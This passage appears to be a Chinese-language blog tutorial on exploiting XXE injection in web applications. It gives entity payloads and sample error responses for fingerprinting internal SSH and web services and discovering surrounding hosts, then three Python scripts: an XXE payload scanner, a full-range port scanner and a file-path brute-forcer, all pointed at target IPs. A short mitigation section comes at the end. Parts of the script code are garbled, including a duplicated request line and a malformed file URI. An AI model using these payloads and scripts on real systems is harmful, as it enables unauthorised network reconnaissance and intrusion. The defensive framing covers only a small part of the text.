XXE注入和指纹识别

XML解析器生成的详细错误消息的攻击者可能潜在地仅对内部可访问的服务执行主机的详细指纹识别。 以下部分将演示XXE payload如何生成详细错误消息,并帮助我们指纹识别出主机中运行的SSH服务。 以下部分演示了我们如何在Ubuntu系统中查找运行的SSH服务。

1
<!ENTITY scan "http://127.0.0.1:22" >]><msg>&scan;</msg>

如果目标Web服务器返回通用错误页面,或者XML解析器没有返回整个错误消息,那么服务指纹识别错误。
XXE Response:

1
2
3
4
5
6
...[content omitted]...
Hello
Warning: simplexml_load_string(http://127.0.0.1:22): failed to
open stream: HTTP request failed! SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
in testxml.php on line 10
...[content omitted]...

在上面的例子中,我们设法提取了在受攻击的主机上内部运行的SSH服务的完整版本。 下一步将是潜在地针对服务运行相关攻击,例如 缓冲区溢出或DoS攻击漏洞。 尝试指定此类服务时,请确保您知道目标XML解析器支持的协议。

XXE注入和主机发现

使用XXE漏洞识别有漏洞的Web应用程序周围的实时IP对于进一步将攻击升级为其他目标基础架构非常有用。 一个有趣的例子是攻击者利用托管服务提供商的XXE攻击属于其他公司的主机。 以下部分演示如何使用XXE payload来发现外部实况主机。

实时IP探测:

1
<!ENTITY scan "http://surrounding_IP ’s" >]><msg>&scan;</msg>

XXE Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...[content omitted]...
<html lang="en">
<head>
<meta charset="utf-8">
<title>Simple Echo Service</title>
</head>
<body>
<div class="container">
...[content omitted]...
Warning: simplexml_load_file(http://surrounding_IP’s/default.aspx)
[function.simplexml-load-file]:
failed to open stream: HTTP request failed!
HTTP/1.0 503 Service Unavailable
...[content omitted]...
<footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

XXE注入和web服务指纹识别

在XXE开发阶段,攻击者不仅可以通过简单查询IP,而且可以发现和指纹是被出存在漏洞的服务器,还可以识别周围的机器。 最好的方法是首先下载主机文件,理解内部IP地址方案,猜测子网掩码,然后开始查询与特定Web服务器技术相关的文件,例如, 使用DirBuster paylaod请求Apache默认安装文件并查看默认错误消息。 以下部分演示XXE有效负载如何用于指纹周围的Web服务器:

1
2
<!ENTITY scan "http://surrounding_IP ’s/default_file" >]><msg>
&scan;</msg>

XXE Response:

1
2
3
4
5
6
7
8
9
10
11
...[content omitted]...
Warning: simplexml_load_file(http://192.168.0.100/random.txt)
[function.simplexml-load-file]:
failed to open stream: No such file or directory in /random.txt on line 5
...[content omitted]...
<footer>
<p>XXE Echo Service</p>
</footer>
</div>
</body>
</html>

XXE识别扫描器

通过py的requests模块编写一个简单的脚本.用来扫描XXE漏洞.

code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests # Import requests library to our code.

proxies = {
"http": "http://127.0.0.1:8090",
}# Used to proxy request through tools such as Burp Proxy.

targetURL = ’http://192.168.1.101/xml/echoHello.php’
xxe_payload = ’?xml=’

payloadFile = "XXEIdentify.lst"
payloadFileObj = open(payloadFile,"r")
payloadList= payloadFileObj.readlines()

print "XXE payload list loaded..."

for payload in payloadList: # Printing the server responses.
r = requests.get(targetURL+xxe_payload+payload,proxies=proxies)
print ’----------------------------’
print "Response code:"
print r.status_code # Printing response status.
print "Received body:"
print r.text # Printing response body
print ’----------------------------’

payloadFileObj.close()

XXE的端口扫描脚本

code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

proxies = {
"http": "http://127.0.0.1:8090",
} # Used to proxy request through tools such as Burp Proxy.

targetURL = ’http://172.16.6.131/xml/example1.php’

print "XXE portscan launched..."

for port in range(0, 65535):
r = requests.get(targetURL+’?xml=<!ENTITY xxe SYSTEM "http
://127.0.0.1:’+str(port)+’>]><msg>&xxe;</msg>’,proxies=
proxies)
print ’----------------------------’
print "Response code:"
print r.status_code # Printing response status.
print "Received body:"
print r.text # Printing response body
print ’----------------------------’

XXE的目录穷举脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

proxies = {
"http": "http://127.0.0.1:8090"
}

targetURL = ’http://172.16.6.131/xml/example1.php’

payloadFile = "directories.lst"
payloadFileObj = open(payloadFile,"r")
payloadList= payloadFileObj.readlines()

print "XXE payload list loaded..."

for payload in payloadList:
r = requests.get(targetURL+r = requests.get(targetURL+’?xml=<!
ENTITY xxe SYSTEM "file:///:’+payload+’>]><msg>&xxe;</msg>’,
proxies=proxies)
print ’----------------------------’
print "Response code:"
print r.status_code # Printing response status.
print "Received body:"
print r.text # Printing response body
print ’----------------------------’

payloadFileObj.close()

减轻XXE漏洞

一个XML解析器不应该遵循外部实体的URI,或者只能遵循已知的好URI(白名单URI)。 对于某些解析器,为了防止黑客攻击禁用XXE,他们必须将setExpandEntityReferences设置为false,但请注意,这不符合您对某些可用XML解析器的期望。

XML外部实体注入使用DOCTYPE标记来定义注入的实体。 XML解析器通常可以配置为禁用对此标记的支持。 您应该查阅XML解析库的文档以确定如何禁用此功能。 也可以使用输入验证来阻止包含DOCTYPE标记的输入!

以下是两种主要对策:

  • 1.通用对策
    • 用户提供的输入的白名单过滤器。
    • 与预期的输入类型相关的过滤器,例如 整数和规定的长度
  • 2.技术特定对策
    • 检查并应用XML解析器供应商推荐的强化功能。
    • 强化程序语言设计检查应用层

0X03 总结

到目前为止,我们已经研究了一系列利用XXE漏洞的方法。现在应该理解,XML在通过Web传输数据中的使用导致了开发Web应用程序的新方法。简而言之,当应用程序易受到XXE漏洞的攻击时,攻击者可能能够:
1.访问主机文件系统。
2.执行拒绝服务攻击。
3.将XXE与跨站点脚本相结合问题并发起钓鱼攻击。
4.执行内部运行的服务的服务指​​纹识别。
5.执行内部网络端口扫描。
6.使用存在漏洞的Web应用程序服务器作为关键点将其攻击扩展到其他主机。
7.使用存在漏洞的Web应用程序隐藏他自己。这些利用方法应该允许攻击者执行各种未经授权的操作并颠覆应用逻辑来发起其他类型的攻击。尽管此漏洞存在于Web应用程序中,但它只是涉及代码注入的更广泛攻击的一部分。

打赏wing!